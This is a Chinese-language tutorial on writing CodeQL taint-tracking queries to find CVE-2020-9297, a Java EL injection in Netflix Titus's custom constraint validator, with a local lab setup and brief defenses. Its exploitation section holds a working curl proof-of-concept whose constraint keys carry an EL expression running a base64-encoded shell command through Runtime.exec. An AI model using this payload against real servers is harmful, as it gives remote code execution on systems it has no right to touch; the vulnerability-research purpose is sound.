使用 CodeQL 挖掘 CVE-2020-9297
字数 970 2025-08-25 22:59:09
CodeQL挖掘CVE-2020-9297漏洞教学文档
漏洞概述
CVE-2020-9297是Netflix Titus中的一个Java EL注入漏洞,位于Java Bean Validation (JSR 380)的自定义约束验证实现中。当使用ConstraintValidatorContext.buildConstraintViolationWithTemplate()渲染报错信息时,如果参数用户可控,攻击者可构造恶意参数触发Java EL表达式执行,导致RCE。
漏洞分析
漏洞代码示例
@Override
public boolean isValid(Container container, ConstraintValidatorContext context) {
if (container == null) {
return true;
}
Set<String> common = new HashSet<>(container.getSoftConstraints().keySet());
common.retainAll(container.getHardConstraints().keySet());
if (common.isEmpty()) {
return true;
}
context.buildConstraintViolationWithTemplate(
"Soft and hard constraints not unique. Shared constraints: " + common
).addConstraintViolation().disableDefaultConstraintViolation();
return false;
}
漏洞成因
container是用户可控参数- 从
container获取的common未经处理直接传递给buildConstraintViolationWithTemplate() - 错误信息中包含用户输入导致EL表达式注入
CodeQL分析
数据流分析配置
Source定义
class TypeConstraintValidator extends Interface {
TypeConstraintValidator() {
this.hasQualifiedName("javax.validation", "ConstraintValidator")
}
Method getIsValidMethod() {
result.getDeclaringType() = this and result.hasName("isValid")
}
}
class ConstraintValidatorIsValidMethod extends Method {
ConstraintValidatorIsValidMethod() {
this.overridesOrInstantiates*(any(TypeConstraintValidator t).getIsValidMethod())
}
}
class BeanValidationSource extends DataFlow::Node {
BeanValidationSource() {
exists(ConstraintValidatorIsValidMethod isValidMethod |
this.asParameter() = isValidMethod.getParameter(0)
and isValidMethod.fromSource()
)
}
}
Sink定义
class TypeConstraintValidatorContext extends RefType {
TypeConstraintValidatorContext() {
this.hasQualifiedName("javax.validation", "ConstraintValidatorContext")
}
}
class BuildConstraintViolationWithTemplateMethod extends Method {
BuildConstraintViolationWithTemplateMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext
and this.hasName("buildConstraintViolationWithTemplate")
}
}
class TemplateRenderSink extends DataFlow::Node {
TemplateRenderSink() {
exists(MethodAccess ma |
ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod
and this.asExpr() = ma.getArgument(0)
)
}
}
污点传播规则
需要添加额外的污点传播步骤来处理中间方法调用:
// getter方法传播
class GetterTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(MethodAccess ma |
(ma.getMethod() instanceof GetterMethod or ma.getMethod().getName().matches("get%"))
and n1.asExpr() = ma.getQualifier()
and n2.asExpr() = ma
)
}
}
// keySet方法传播
import semmle.code.java.Maps
class MapKeySetCall extends MethodAccess {
MapKeySetCall() {
this.getMethod().(MapMethod).getName() = "keySet"
}
}
class KeySetTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(MapKeySetCall call |
n1.asExpr() = call.getQualifier()
and n2.asExpr() = call
)
}
}
// HashSet构造函数传播
class HashSetConstructorCall extends Call {
HashSetConstructorCall() {
this.(ConstructorCall).getConstructedType().getSourceDeclaration()
.hasQualifiedName("java.util", "HashSet")
}
}
class HashSetTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(HashSetConstructorCall call |
n1.asExpr() = call.getAnArgument()
and n2.asExpr() = call
)
}
}
// retainAll方法传播
import semmle.code.java.Collections
class CollectionRetainAllCall extends MethodAccess {
CollectionRetainAllCall() {
this.getMethod().(CollectionMethod).getName() = "retainAll"
}
}
class CollectionRetainAllTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(CollectionRetainAllCall ma |
n1.asExpr() = ma.getAnArgument()
and n2.asExpr() = ma.getQualifier()
)
}
}
完整查询
/**
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
// 类型和源定义
class TypeConstraintValidator extends Interface {
TypeConstraintValidator() {
this.hasQualifiedName("javax.validation", "ConstraintValidator")
}
Method getIsValidMethod() {
result.getDeclaringType() = this and result.hasName("isValid")
}
}
class ConstraintValidatorIsValidMethod extends Method {
ConstraintValidatorIsValidMethod() {
this.overridesOrInstantiates*(any(TypeConstraintValidator t).getIsValidMethod())
}
}
class BeanValidationSource extends DataFlow::Node {
BeanValidationSource() {
exists(ConstraintValidatorIsValidMethod isValidMethod |
this.asParameter() = isValidMethod.getParameter(0)
and isValidMethod.fromSource()
)
}
}
// 接收器定义
class TypeConstraintValidatorContext extends RefType {
TypeConstraintValidatorContext() {
this.hasQualifiedName("javax.validation", "ConstraintValidatorContext")
}
}
class BuildConstraintViolationWithTemplateMethod extends Method {
BuildConstraintViolationWithTemplateMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext
and this.hasName("buildConstraintViolationWithTemplate")
}
}
class TemplateRenderSink extends DataFlow::Node {
TemplateRenderSink() {
exists(MethodAccess ma |
ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod
and this.asExpr() = ma.getArgument(0)
)
}
}
// 污点传播配置
class TaintConfig extends TaintTracking::Configuration {
TaintConfig() { this = "TaintConfig" }
override predicate isSource(DataFlow::Node source) {
source instanceof BeanValidationSource
}
override predicate isSink(DataFlow::Node sink) {
sink instanceof TemplateRenderSink
}
override int explorationLimit() { result = 4 }
}
// 查询
from TaintConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"
漏洞利用
环境搭建
-
下载源码:
git clone https://github.com/Netflix/titus-control-plane cd titus-control-plane -
回退到漏洞修复前的commit:
git reset --hard 8a8bd4c -
启动docker:
docker-compose up -d
利用POC
curl --location --request POST 'http://127.0.0.1:7001/api/v3/jobs' \
--header 'Content-Type: application/json' \
--data-raw '{
"applicationName": "localtest",
"owner": {
"teamEmail": "me@me.com"
},
"container": {
"image": {
"name": "alpine",
"tag": "latest"
},
"entryPoint": [
"/bin/sleep",
"1h"
],
"securityProfile": {
"iamRole": "test-role",
"securityGroups": [
"sg-test"
]
},
"softConstraints": {
"constraints": {
"#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": ""
}
},
"hardConstraints": {
"constraints": {
"#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": ""
}
}
},
"batch": {
"size": 1,
"runtimeLimitSec": "3600",
"retryPolicy":{
"delayed": {
"delayMs": "1000",
"retries": 3
}
}
}
}'
POC说明
- 通过POST请求访问
/api/v3/jobs创建JobDescriptor对象 - 程序内部生成的
jobDescriptor.container会调用SchedulingConstraintSetValidator.java的isValid方法 - 校验失败时,键名作为错误信息通过
buildConstraintViolationWithTemplate()输出 - 构造的键名包含恶意Java EL表达式,会被执行
dG91Y2ggL3RtcC9wd25lZA==是touch /tmp/pwned的base64编码
防御措施
- 对用户输入进行严格过滤和转义
- 避免直接将用户输入传递给
buildConstraintViolationWithTemplate() - 禁用EL表达式处理或使用安全配置
总结
通过CodeQL的污点分析技术,我们可以有效地识别这类Java EL注入漏洞。关键在于:
- 正确定义source和sink
- 添加必要的额外污点传播步骤
- 合理设置探索限制(explorationLimit)
- 理解数据在应用程序中的流动路径